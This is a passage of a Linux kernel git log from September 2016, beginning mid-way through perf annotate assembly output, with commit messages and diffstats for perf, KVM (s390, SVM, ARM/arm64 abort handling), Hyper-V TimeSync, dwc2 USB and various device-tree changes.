(p:42.99%) 1.84 : 40060b: mov $0x1,%eax 14.29 : 400610: jmp 400617 # -100.00% (p:100.00%) 1.38 : 400612: mov $0x0,%eax # +57.65% 10.14 : 400617: test %al,%al # +42.35% 0.00 : 400619: je 40062f # -57.65% (p:100.00%) 0.46 : 40061b: mov 0x200b4e(%rip),%rax # 601170 2.76 : 400622: sub $0x1,%rax 0.00 : 400626: mov %rax,0x200b43(%rip) # 601170 0.46 : 40062d: jmp 400641 # -100.00% (p:100.00%) 0.92 : 40062f: mov 0x200b3a(%rip),%rax # 601170 # +56.13% 2.30 : 400636: add $0x1,%rax 0.92 : 40063a: mov %rax,0x200b2f(%rip) # 601170 0.92 : 400641: mov -0x10(%rbp),%rax # +43.87% 2.30 : 400645: mov %rax,%rdi 0.00 : 400648: callq 400526 # -100.00% (p:100.00%) 0.00 : 40064d: mov %rax,-0x10(%rbp) # +100.00% 1.84 : 400651: addq $0x1,-0x8(%rbp) 0.92 : 400656: mov -0x8(%rbp),%rax 5.07 : 40065a: cmp -0x20(%rbp),%rax 0.00 : 40065e: jb 40059f # -100.00% (p:100.00%) 0.00 : 400664: nop 0.00 : 400665: leaveq 0.00 : 400666: retq (Note: the --branch-filter u,any was used to avoid spurious target and branch points due to interrupts/faults, they show up as very small -/+ annotations on 'weird' locations) Committer note: Please take a look at: http://vger.kernel.org/~acme/perf/annotate_basic_blocks.png To see the colors. Signed-off-by: Peter Zijlstra (Intel) Tested-by: Arnaldo Carvalho de Melo Cc: Alexander Shishkin Cc: Andi Kleen Cc: Anshuman Khandual Cc: David Carrillo-Cisneros Cc: Jiri Olsa Cc: Kan Liang Cc: Linus Torvalds Cc: Namhyung Kim Cc: Stephane Eranian [ Moved sym->max_coverage to 'struct annotate', aka symbol__annotate(sym) ] Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-annotate.c | 104 ++++++++++++++ tools/perf/util/Build | 1 + tools/perf/util/annotate.c | 93 +++++++++++- tools/perf/util/annotate.h | 1 + tools/perf/util/block-range.c | 328 ++++++++++++++++++++++++++++++++++++++++++ tools/perf/util/block-range.h | 71 +++++++++ 6 files changed, 596 insertions(+), 2 deletions(-) commit b1fa6d8acb50c8e90f50fb262e5d4b7d478592bf Author: Laura Abbott Date: Wed Sep 7 11:49:58 2016 -0700 staging: android: ion: Pull out ion ioctls to a separate file The number of Ion ioctls may continue to grow along with necessary validation. Pull it out into a separate file for easier management and review. Signed-off-by: Laura Abbott Acked-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/Makefile | 3 +- drivers/staging/android/ion/ion-ioctl.c | 144 ++++++++++++++++++++++ drivers/staging/android/ion/ion.c | 212 ++------------------------------ drivers/staging/android/ion/ion_priv.h | 91 ++++++++++++++ 4 files changed, 245 insertions(+), 205 deletions(-) commit d7e404af115bb4996afa4a0236020969ab007554 Author: Wang Nan Date: Tue Sep 6 04:58:29 2016 +0000 perf record: Mark MAP_HUGETLB when synthesizing mmap events When synthesizing mmap events, add MAP_HUGETLB map flag if the source of mapping is file in hugetlbfs. After this patch, perf can identify hugetlb mapping even if perf is started after the mapping of huge pages (like with 'perf top'). Signed-off-by: Wang Nan Reviewed-by: Nilay Vaish Cc: He Kuang Cc: Hou Pengyang Cc: Zefan Li Link: http://lkml.kernel.org/r/1473137909-142064-4-git-send-email-wangnan0@huawei.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/event.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 5e7be3e1f9d71ed03fac27df25e143815be662d2 Author: Wang Nan Date: Tue Sep 6 04:58:28 2016 +0000 tools lib api fs: Add hugetlbfs filesystem detector Detect hugetlbfs. hugetlbfs__mountpoint() will be used during recording to help identifying hugetlb mmaps: which should be recognized as anon mapping. Signed-off-by: Wang Nan Reviewed-by: Nilay Vaish Cc: He Kuang Cc: Hou Pengyang Cc: Zefan Li Link: http://lkml.kernel.org/r/1473137909-142064-3-git-send-email-wangnan0@huawei.com Signed-off-by: Arnaldo Carvalho de Melo tools/lib/api/fs/fs.c | 15 +++++++++++++++ tools/lib/api/fs/fs.h | 1 + 2 files changed, 16 insertions(+) commit 54e9b099724a135a3c3cba1d90c0f2b7dd037815 Author: Jean Delvare Date: Thu Sep 8 09:38:05 2016 -0500 fpga manager: Add hardware dependency to Zynq driver The Zynq FPGA manager driver serves no purpose on other architectures so hide it unless build-testing. Signed-off-by: Jean Delvare Acked-by: Moritz Fischer Acked-by: Alan Tull Acked-by: Michal Simek Cc: "Sören Brinkmann" Signed-off-by: Greg Kroah-Hartman drivers/fpga/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 0ac3348e502423cf2fe86beca83b8835a2e6d289 Author: Wang Nan Date: Tue Sep 6 04:58:27 2016 +0000 perf tools: Recognize hugetlb mapping as anon mapping Hugetlbfs mapping should be recognized as anon mapping so user has a chance to create /tmp/perf-.map file for symbol resolving. This patch utilizes MAP_HUGETLB to identify hugetlb mapping. After this patch, if perf is started before a program starts using huge pages (so perf gets MMAP2 events from kernel), perf is able to recognize hugetlb mapping as anon mapping. Signed-off-by: Wang Nan Cc: He Kuang Cc: Nilay Vaish Cc: Zefan Li Link: http://lkml.kernel.org/r/1473137909-142064-2-git-send-email-wangnan0@huawei.com Signed-off-by: Hou Pengyang Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/map.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit 78eb28a86df16d0dfb62c75e81b374e39a0b803d Author: Stefan Agner Date: Tue Sep 6 11:46:57 2016 -0700 ARM: dts: vf610-colibri: use of_graph dt nodes to describe the panel The fsl,panel property is deprecated and we should use the new of_graph dt bindings to describe the relationship between the DCU controller and the panel. Signed-off-by: Stefan Agner Signed-off-by: Shawn Guo arch/arm/boot/dts/vf-colibri-eval-v3.dtsi | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit d64299daf44c7ff57120a379ceb4907f19bbf041 Author: Arnd Bergmann Date: Tue Sep 6 14:53:25 2016 +0200 ARM: imx: build cpuidle-imx6sx.o for imx6ul The imx6ul soc code gained support for cpuidle, but that causes a link failure if CONFIG_SOC_IMX6SX is disabled: arch/arm/mach-imx/mach-imx6ul.o: In function `imx6ul_init_late': mach-imx6ul.c:(.init.text+0xc): undefined reference to `imx6sx_cpuidle_init' This adds the file containing the imx6sx_cpuidle_init function to the kernel for 6ul-only configurations. Signed-off-by: Arnd Bergmann Fixes: 547e8f526959 ("ARM: imx: add cpuidle support for i.mx6ul") Signed-off-by: Shawn Guo arch/arm/mach-imx/Makefile | 1 + 1 file changed, 1 insertion(+) commit 9e2ce1953c7fe380b2e3e9749c32847087964f18 Author: Meng Yi Date: Tue Sep 6 17:45:34 2016 +0800 ARM: dts: ls1021a: Add of_graph dt nodes to describe the panel add of_graph dt nodes to describe the panel, and removed "fsl,panel" property Signed-off-by: Meng Yi Acked-by: Stefan Agner Signed-off-by: Shawn Guo arch/arm/boot/dts/ls1021a-twr.dts | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit 6f90f1d1d2d853b2745afdd83800b170996fab50 Merge: 411b44b b0eb91a Author: Paolo Bonzini Date: Thu Sep 8 15:35:44 2016 +0200 Merge tag 'kvm-s390-next-4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/kvms390/linux into HEAD KVM: s390: features and fixes for 4.9 - lazy enablement of runtime instrumentation - up to 255 CPUs for nested guests - rework of machine check deliver - cleanups/fixes commit 335a127548081322bd2b294d715418648912f20c Author: Linus Walleij Date: Fri Jul 8 00:11:02 2016 +0200 bus: qcom: add EBI2 driver This adds a driver for the Qualcomm External Bus Interface EBI2 found in the MSM8660 and APQ8060 SoCs (at least). This was tested with the SMSC9112 ethernet on the APQ8060 Dragonboard sitting on top of the SLOW CS2. Some of my understanding if very vague and based on guesses and extrapolations: the documentation in APQ8060 Qualcomm Application Processor User Guide 80-N7150-14 Rev. A describes select features but does not document the register bit fields. Signed-off-by: Linus Walleij drivers/bus/Kconfig | 7 + drivers/bus/Makefile | 1 + drivers/bus/qcom-ebi2.c | 408 ++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 416 insertions(+) commit 7e525b7dac5849c394513e321105add5d2cbc358 Author: Linus Walleij Date: Fri Jul 8 00:09:23 2016 +0200 bus: qcom: add EBI2 device tree bindings This adds device tree bindings for the External Bus Interface 2, EBI2 to the Qualcomm SoC drivers. Cc: devicetree@vger.kernel.org Acked-by: Rob Herring Signed-off-by: Linus Walleij .../devicetree/bindings/bus/qcom,ebi2.txt | 138 +++++++++++++++++++++ 1 file changed, 138 insertions(+) commit 17028ca2a5030a2e97f87b3290f814ba860480c0 Author: Andrej Rosano Date: Mon Sep 5 12:11:17 2016 +0200 ARM: dts: imx53: add support for USB armory board Add support for Inverse Path USB armory board, an open source flash-drive sized computer based on NXP i.MX53 SoC. https://inversepath.com/usbarmory Signed-off-by: Andrej Rosano Tested-by: Vagrant Cascadian Signed-off-by: Shawn Guo arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/imx53-usbarmory.dts | 224 ++++++++++++++++++++++++++++++++++ 2 files changed, 225 insertions(+) commit 8266b4ae7135d324f100fc76c1364f63029005dd Author: Andrej Rosano Date: Mon Sep 5 12:11:16 2016 +0200 devicetree: Add vendor prefix for Inverse Path Inverse Path is an information security consulting company: https://inversepath.com Signed-off-by: Andrej Rosano Acked-by: Rob Herring Signed-off-by: Shawn Guo Documentation/devicetree/bindings/vendor-prefixes.txt | 1 + 1 file changed, 1 insertion(+) commit 0c3ff44cc23cbede56aa1ca5916b126e681ca69b Author: Baoyou Xie Date: Thu Sep 8 18:59:22 2016 +0800 drm/sun4i: add missing header dependencies We get 5 warnings when building kernel with W=1: drivers/gpu/drm/sun4i/sun4i_framebuffer.c:33:23: warning: no previous prototype for 'sun4i_framebuffer_init' [-Wmissing-prototypes] drivers/gpu/drm/sun4i/sun4i_framebuffer.c:47:6: warning: no previous prototype for 'sun4i_framebuffer_free' [-Wmissing-prototypes] drivers/gpu/drm/sun4i/sun4i_rgb.c:202:5: warning: no previous prototype for 'sun4i_rgb_init' [-Wmissing-prototypes] drivers/gpu/drm/sun4i/sun4i_dotclock.c:151:5: warning: no previous prototype for 'sun4i_dclk_create' [-Wmissing-prototypes] drivers/gpu/drm/sun4i/sun4i_dotclock.c:186:5: warning: no previous prototype for 'sun4i_dclk_free' [-Wmissing-prototypes] In fact, these functions are declared in drivers/gpu/drm/sun4i/sun4i_framebuffer.h, drivers/gpu/drm/sun4i/sun4i_rgb.h, drivers/gpu/drm/sun4i/sun4i_dotclock.h, so this patch adds missing header dependencies. Signed-off-by: Baoyou Xie Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_dotclock.c | 1 + drivers/gpu/drm/sun4i/sun4i_framebuffer.c | 1 + drivers/gpu/drm/sun4i/sun4i_rgb.c | 1 + 3 files changed, 3 insertions(+) commit c1efda1238be1efa8612e26ee98795298ffd6f95 Author: Maxime Ripard Date: Thu Sep 8 12:26:08 2016 +0200 ARM: sunxi: Support the Nextthing GR8 The GR8 is an SoC made by Nextthing Co, loosely based on the sun5i family. It has a number of new controllers compared to the A10s and A13 (SPDIF, I2S), but some controllers missing too (Ethernet, less I2C, less UARTs). Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard Documentation/arm/sunxi/README | 2 ++ Documentation/devicetree/bindings/arm/sunxi.txt | 1 + MAINTAINERS | 1 + arch/arm/mach-sunxi/sunxi.c | 1 + 4 files changed, 5 insertions(+) commit f43ea76cf310c3be95cb75ae1350cbe76a8f2380 Author: Andy Shevchenko Date: Thu Sep 8 13:32:32 2016 +0300 x86/platform/intel-mid: Keep SRAM powered on at boot On Penwell SRAM has to be powered on, otherwise it prevents booting. Signed-off-by: Andy Shevchenko Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Fixes: ca22312dc840 ("x86/platform/intel-mid: Extend PWRMU to support Penwell") Link: http://lkml.kernel.org/r/20160908103232.137587-2-andriy.shevchenko@linux.intel.com Signed-off-by: Ingo Molnar arch/x86/platform/intel-mid/pwr.c | 45 +++++++++++++++++++++++++++++++-------- 1 file changed, 36 insertions(+), 9 deletions(-) commit 8e522e1d321b12829960c9b26668c92f14c68d7f Author: Andy Shevchenko Date: Thu Sep 8 13:32:31 2016 +0300 x86/platform/intel-mid: Add Intel Penwell to ID table Commit: ca22312dc840 ("x86/platform/intel-mid: Extend PWRMU to support Penwell") ... enabled the PWRMU driver on platforms based on Intel Penwell, but unfortunately this is not enough. Add Intel Penwell ID to pci-mid.c driver as well. To avoid confusion in the future add a comment to both drivers. Signed-off-by: Andy Shevchenko Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Fixes: ca22312dc840 ("x86/platform/intel-mid: Extend PWRMU to support Penwell") Link: http://lkml.kernel.org/r/20160908103232.137587-1-andriy.shevchenko@linux.intel.com Signed-off-by: Ingo Molnar arch/x86/platform/intel-mid/pwr.c | 1 + drivers/pci/pci-mid.c | 5 +++++ 2 files changed, 6 insertions(+) commit 950d8381d915ee293a5b57f91e59dd8115684af1 Merge: 979515c d71f058 Author: Ingo Molnar Date: Thu Sep 8 14:05:16 2016 +0200 Merge branch 'linus' into timers/core, to refresh the branch Signed-off-by: Ingo Molnar commit 8e1d260738ca89bc7c87444f95f04a026d12b496 Author: Alex Ng Date: Thu Sep 8 05:24:14 2016 -0700 Drivers: hv: utils: Support TimeSync version 4.0 protocol samples. This enables support for more accurate TimeSync v4 samples when hosted under Windows Server 2016 and newer hosts. The new time samples include a "vmreferencetime" field that represents the guest's TSC value when the host generated its time sample. This value lets the guest calculate the latency in receiving the time sample. The latency is added to the sample host time prior to updating the clock. Signed-off-by: Alex Ng Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/hv_util.c | 82 ++++++++++++++++++++++++++++++++++++-------------- include/linux/hyperv.h | 9 ++++++ 2 files changed, 68 insertions(+), 23 deletions(-) commit 2e338f7e034f12066c78999deff8894c337ae23b Author: Alex Ng Date: Thu Sep 8 05:24:13 2016 -0700 Drivers: hv: utils: Use TimeSync samples to adjust the clock after boot. Only the first 50 samples after boot were being used to discipline the clock. After the first 50 samples, any samples from the host were ignored and the guest clock would eventually drift from the host clock. This patch allows TimeSync-enabled guests to continuously synchronize the clock with the host clock, even after the first 50 samples. Signed-off-by: Alex Ng Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/hv_util.c | 20 +++++++------------- 1 file changed, 7 insertions(+), 13 deletions(-) commit abeda47ebb20997aa3c5b4cac7db70f8bea62d7d Author: Alex Ng Date: Thu Sep 8 05:24:12 2016 -0700 Drivers: hv: utils: Rename version definitions to reflect protocol version. Different Windows host versions may reuse the same protocol version when negotiating the TimeSync, Shutdown, and Heartbeat protocols. We should only refer to the protocol version to avoid conflating the two concepts. Signed-off-by: Alex Ng Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/hv_util.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit b0eb91ae630a4f2771790e306bb4df323127a397 Merge: 0624a8e f6c1d35 Author: Christian Borntraeger Date: Thu Sep 8 13:41:08 2016 +0200 Merge remote-tracking branch 'kvms390/s390forkvm' into kvms390next commit 0624a8eb82efd58e457093e8fd4514abd3b37cc0 Author: Markus Elfring Date: Wed Aug 24 20:10:09 2016 +0200 KVM: s390: Use memdup_user() rather than duplicating code * Reuse existing functionality from memdup_user() instead of keeping duplicate source code. This issue was detected by using the Coccinelle software. * Return directly if this copy operation failed. Reviewed-by: David Hildenbrand Acked-by: Cornelia Huck Signed-off-by: Markus Elfring Message-Id: Signed-off-by: Christian Borntraeger arch/s390/kvm/guestdbg.c | 18 ++++-------------- 1 file changed, 4 insertions(+), 14 deletions(-) commit a1708a2eaded836b7fe64e89a137336c0e6244ea Author: Markus Elfring Date: Wed Aug 24 19:45:23 2016 +0200 KVM: s390: Improve determination of sizes in kvm_s390_import_bp_data() * A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus reuse the corresponding function "kmalloc_array". Suggested-by: Paolo Bonzini This issue was detected also by using the Coccinelle software. * Replace the specification of data structures by pointer dereferences to make the corresponding size determination a bit safer according to the Linux coding style convention. * Delete the local variable "size" which became unnecessary with this refactoring. Signed-off-by: Markus Elfring Acked-by: Cornelia Huck Message-Id: Signed-off-by: Christian Borntraeger arch/s390/kvm/guestdbg.c | 25 +++++++++++++++---------- 1 file changed, 15 insertions(+), 10 deletions(-) commit a6940674c384ebf56aa0c44f417032de2b67100c Author: David Hildenbrand Date: Mon Aug 8 22:39:32 2016 +0200 KVM: s390: allow 255 VCPUs when sca entries aren't used If the SCA entries aren't used by the hardware (no SIGPIF), we can simply not set the entries, stick to the basic sca and allow more than 64 VCPUs. To hinder any other facility from using these entries, let's properly provoke intercepts by not setting the MCN and keeping the entries unset. This effectively allows when running KVM under KVM (vSIE) or under z/VM to provide more than 64 VCPUs to a guest. Let's limit it to 255 for now, to not run into problems if the CPU numbers are limited somewhere else. Signed-off-by: David Hildenbrand Signed-off-by: Christian Borntraeger arch/s390/include/asm/kvm_host.h | 2 +- arch/s390/kvm/interrupt.c | 4 ++++ arch/s390/kvm/kvm-s390.c | 18 +++++++++++++++++- arch/s390/kvm/kvm-s390.h | 10 ++++++++++ 4 files changed, 32 insertions(+), 2 deletions(-) commit 80cd8763388b52fa9129cbb4b57a3615a55afd40 Author: Fan Zhang Date: Mon Aug 15 04:53:22 2016 +0200 KVM: s390: lazy enable RI Only enable runtime instrumentation if the guest issues an RI related instruction or if userspace changes the riccb to a valid state. This makes entry/exit a tiny bit faster. Initial patch by Christian Borntraeger Signed-off-by: Fan Zhang Signed-off-by: Christian Borntraeger arch/s390/kvm/intercept.c | 1 + arch/s390/kvm/kvm-s390.c | 15 +++++++++++++-- arch/s390/kvm/kvm-s390.h | 1 + arch/s390/kvm/priv.c | 21 +++++++++++++++++++++ 4 files changed, 36 insertions(+), 2 deletions(-) commit 411b44ba80ab0023383fe3f377e903cb0cb7d8bb Author: Suravee Suthikulpanit Date: Tue Aug 23 13:52:43 2016 -0500 svm: Implements update_pi_irte hook to setup posted interrupt This patch implements update_pi_irte function hook to allow SVM communicate to IOMMU driver regarding how to set up IRTE for handling posted interrupt. In case AVIC is enabled, during vcpu_load/unload, SVM needs to update IOMMU IRTE with appropriate host physical APIC ID. Also, when vcpu_blocking/unblocking, SVM needs to update the is-running bit in the IOMMU IRTE. Both are achieved via calling amd_iommu_update_ga(). However, if GA mode is not enabled for the pass-through device, IOMMU driver will simply just return when calling amd_iommu_update_ga. Signed-off-by: Suravee Suthikulpanit Reviewed-by: Radim Krčmář Signed-off-by: Paolo Bonzini arch/x86/kvm/svm.c | 285 +++++++++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 266 insertions(+), 19 deletions(-) commit 5881f73757cc3dbada878e67c119a801ed0f9a07 Author: Suravee Suthikulpanit Date: Tue Aug 23 13:52:42 2016 -0500 svm: Introduce AMD IOMMU avic_ga_log_notifier This patch introduces avic_ga_log_notifier, which will be called by IOMMU driver whenever it handles the Guest vAPIC (GA) log entry. Reviewed-by: Radim Krčmář Signed-off-by: Suravee Suthikulpanit Signed-off-by: Paolo Bonzini arch/x86/include/asm/kvm_host.h | 1 + arch/x86/kvm/svm.c | 70 +++++++++++++++++++++++++++++++++++++++-- 2 files changed, 69 insertions(+), 2 deletions(-) commit 2938fc63e0c26bf694436ac81bc776c8b7eced0c Author: John Youn Date: Wed Sep 7 19:39:43 2016 -0700 usb: dwc2: Properly account for the force mode delays When a force mode bit is set and the IDDIG debounce filter is enabled, there is a delay for the forced mode to take effect. This delay is due to the IDDIG debounce filter and is variable depending on the platform's PHY clock speed. To account for this delay we can poll for the expected mode. On a clear force mode, since we don't know what mode to poll for, delay for a fixed 100 ms. This is the maximum delay based on the slowest PHY clock speed. Tested-by: Stefan Wahren Signed-off-by: John Youn Signed-off-by: Felipe Balbi drivers/usb/dwc2/core.c | 31 ++++++++++++++----------------- 1 file changed, 14 insertions(+), 17 deletions(-) commit fef6bc37dbafe0d6d71c808c8867a8c5ab4b9816 Author: John Youn Date: Wed Sep 7 19:39:40 2016 -0700 usb: dwc2: Add delay to core soft reset Add a delay to the core soft reset function to account for the IDDIG debounce filter. If the current mode is host, either due to the force mode bit being set (which persists after core reset) or the connector id pin, a core soft reset will temporarily reset the mode to device and a delay from the IDDIG debounce filter will occur before going back to host mode. Tested-by: Stefan Wahren Signed-off-by: John Youn Signed-off-by: Felipe Balbi drivers/usb/dwc2/core.c | 95 +++++++++++++++++++++++++++++++++++++++++++++++++ drivers/usb/dwc2/core.h | 1 + drivers/usb/dwc2/hw.h | 1 + 3 files changed, 97 insertions(+) commit d0f0ac56b34b28e80223d7086b4decdf027c27ed Author: John Youn Date: Wed Sep 7 19:39:37 2016 -0700 usb: dwc2: gadget: Only initialize device if in device mode In dwc2_hsotg_udc_start(), don't initialize the controller for device mode unless we are actually in device mode. Tested-by: Heiko Stuebner Tested-by: Stefan Wahren Signed-off-by: John Youn Signed-off-by: Felipe Balbi drivers/usb/dwc2/gadget.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 5ea11f2b31b83bd3c05357e6bec20f598e00705a Author: Suravee Suthikulpanit Date: Tue Aug 23 13:52:41 2016 -0500 svm: Introduces AVIC per-VM ID Introduces per-VM AVIC ID and helper functions to manage the IDs. Currently, the ID will be used to implement 32-bit AVIC IOMMU GA tag. The ID is 24-bit one-based indexing value, and is managed via helper functions to get the next ID, or to free an ID once a VM is destroyed. There should be no ID conflict for any active VMs. Reviewed-by: Radim Krčmář Signed-off-by: Suravee Suthikulpanit Signed-off-by: Paolo Bonzini arch/x86/include/asm/kvm_host.h | 1 + arch/x86/kvm/svm.c | 51 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 52 insertions(+) commit 5d947a1447f98eede0778f6f59a8fe03f0c53caf Author: Paolo Bonzini Date: Thu Sep 8 12:45:59 2016 +0200 KVM: ARM: cleanup kvm_timer_hyp_init Remove two unnecessary labels now that kvm_timer_hyp_init is not creating its own workqueue anymore. Signed-off-by: Paolo Bonzini Signed-off-by: Christoffer Dall virt/kvm/arm/arch_timer.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 3262ad824307c275922161e82c2db1458822f28c Author: Jim Baxter Date: Thu Sep 8 11:18:16 2016 +0200 usb: gadget: f_fs: Stop ffs_closed NULL pointer dereference The struct ffs_data::private_data has a pointer to ffs_dev stored in it during the ffs_fs_mount() function however it is not cleared when the ffs_dev is freed later which causes the ffs_closed function to crash with "Unable to handle kernel NULL pointer dereference" error when using the data in ffs_data::private_data. This clears this pointer during the ffs_free_dev clean up function. Signed-off-by: Jim Baxter Signed-off-by: Jiada Wang Signed-off-by: Harish Jenny K N Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_fs.c | 5 +++++ 1 file changed, 5 insertions(+) commit 3272f0d08e4490b792b99cf6034a2bb859bf6c9f Author: Marc Zyngier Date: Tue Sep 6 14:02:17 2016 +0100 arm64: KVM: Inject a vSerror if detecting a bad GICV access at EL2 If, when proxying a GICV access at EL2, we detect that the guest is doing something silly, report an EL1 SError instead ofgnoring the access. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm64/include/asm/kvm_hyp.h | 2 +- arch/arm64/kvm/hyp/switch.c | 18 +++++++++++++++--- virt/kvm/arm/hyp/vgic-v2-sr.c | 21 ++++++++++++++++----- 3 files changed, 32 insertions(+), 9 deletions(-) commit 21977a4c57cd92c71113e21319302b5a399f9d2d Author: Marc Zyngier Date: Tue Sep 6 14:02:16 2016 +0100 arm/arm64: KVM: Remove external abort test from MMIO handling As we know handle external aborts pretty early, we can get rid of its handling in the MMIO code (which was a bit odd to begin with...). Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm/kvm/mmio.c | 6 ------ 1 file changed, 6 deletions(-) commit 4055710baca8cb067b059a635cf851eb86410a83 Author: Marc Zyngier Date: Tue Sep 6 14:02:15 2016 +0100 arm/arm64: KVM: Inject virtual abort when guest exits on external abort If we spot a data abort bearing the ESR_EL2.EA bit set, we know that this is an external abort, and that should be punished by the injection of an abort. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm/kvm/mmu.c | 5 +++++ 1 file changed, 5 insertions(+) commit e656a1f91e701e6a1eddf8c029b45639b60877d5 Author: Marc Zyngier Date: Tue Sep 6 14:02:14 2016 +0100 arm: KVM: Drop unreachable HYP abort handlers Both data and prefetch aborts occuring in HYP lead to a well deserved panic. Let's get rid of these silly handlers. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm/kvm/handle_exit.c | 27 --------------------------- 1 file changed, 27 deletions(-) commit 5d7bcf7d644a88183fb34fca12ad6ea40a8db7ab Author: Marc Zyngier Date: Tue Sep 6 14:02:13 2016 +0100 arm: KVM: Inject a Virtual Abort if it was pending If we have caught an Abort whilst exiting, we've tagged the exit code with the pending information. In that case, let's re-inject the error into the guest, after having adjusted the PC if required. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm/kvm/handle_exit.c | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit c39798f471259dacf56df6bfb2bd071dfe074486 Author: Marc Zyngier Date: Tue Sep 6 14:02:12 2016 +0100 arm: KVM: Handle async aborts delivered while at HYP Just like for arm64, we can handle asynchronous aborts being delivered at HYP while being caused by the guest. We use the exact same method to catch such an abort, and soldier on. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm/kvm/hyp/entry.S | 31 +++++++++++++++++++++++++++++++ arch/arm/kvm/hyp/hyp-entry.S | 16 +++++++++++++++- 2 files changed, 46 insertions(+), 1 deletion(-) commit 435bca5fe913e2e5f96881a77ab20e653f5ad894 Author: Marc Zyngier Date: Tue Sep 6 14:02:11 2016 +0100 arm: KVM: Allow an exit code to be tagged with a Virtual Abort An asynchronous abort can also be triggered whilst running at EL2. But instead of making that a new error code, we need to communicate it to the rest of KVM together with the exit reason. So let's hijack a single bit that allows the exception code to be tagged with a "pending Abort" information. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm/include/asm/kvm_asm.h | 4 ++++ 1 file changed, 4 insertions(+) commit cc325cfc37b5b9e8814d7172e3a6e47d3b098ff1 Author: Marc Zyngier Date: Tue Sep 6 14:02:10 2016 +0100 arm: KVM: Add HYP async abort handler If we've exited the guest because it has triggered an asynchronous abort, a possible course of action is to let it know it screwed up by giving it a Virtual Abort to chew on. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm/kvm/handle_exit.c | 3 +++ 1 file changed, 3 insertions(+) commit bfb78b5c98d0e6b6dbd9af9cd71e853670a34044 Author: Marc Zyngier Date: Tue Sep 6 14:02:09 2016 +0100 arm: KVM: Add Virtual Abort injection helper Now that we're able to context switch the HCR.VA bit, let's introduce a helper that injects an Abort into a vcpu. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm/include/asm/kvm_emulate.h | 1 + arch/arm/kvm/emulate.c | 12 ++++++++++++ 2 files changed, 13 insertions(+) commit 1f7e378d1235a3cb5c9cdd8c62fe13cb6c3cf157 Author: Marc Zyngier Date: Tue Sep 6 14:02:08 2016 +0100 arm: KVM: Preserve pending Virtual Abort in world switch The HCR.VA bit is used to signal an Abort to a guest, and has the peculiar feature of getting cleared when the guest has taken the abort (this is the only bit that behaves as such in this register). This means that if we signal such an abort, we must leave it in the guest context until it disappears from HCR, and at which point it must be cleared from the context. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm/kvm/hyp/switch.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 395ea79ebe55d6b01bb8f67bfad0550e6b7cd6d6 Author: Marc Zyngier Date: Tue Sep 6 14:02:07 2016 +0100 arm64: KVM: Handle async aborts delivered while at EL2 If EL1 generates an asynchronous abort and then traps into EL2 before the abort has been delivered, we may end-up with the abort firing at the worse possible place: on the host. In order to avoid this, it is necessary to take the abort at EL2, by clearing the PSTATE.A bit. In order to survive this abort, we do it at a point where we're in a known state with respect to the world switch, and handle the resulting exception, overloading the exit code in the process. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm64/kvm/hyp/entry.S | 33 ++++++++++++++++++++++++++++++++- arch/arm64/kvm/hyp/hyp-entry.S | 25 +++++++++++++++++++++++-- arch/arm64/kvm/hyp/switch.c | 6 ++++++ 3 files changed, 61 insertions(+), 3 deletions(-) commit ddb3d07cfe90ce58c342cf97ce6ce53ba7d10973 Author: Marc Zyngier Date: Tue Sep 6 14:02:06 2016 +0100 arm64: KVM: Inject a Virtual SError if it was pending If we have caught an SError whilst exiting, we've tagged the exit code with the pending information. In that case, let's re-inject the error into the guest, after having adjusted the PC if required. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm64/kvm/handle_exit.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit 20163403a1f2fe3f00f59df2b45ea5cb74b85d97 Author: Marc Zyngier Date: Tue Sep 6 14:02:05 2016 +0100 arm64: KVM: Allow an exit code to be tagged with an SError Similarily to EL1, an asynchronous abort can be triggered whilst running at EL2. But instead of making that a new error code, we need to communicate it to the rest of KVM together with the exit reason. So let's hijack a single bit that allows the exception code to be tagged with a "pending SError" information. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm64/include/asm/kvm_asm.h | 4 ++++ 1 file changed, 4 insertions(+) commit 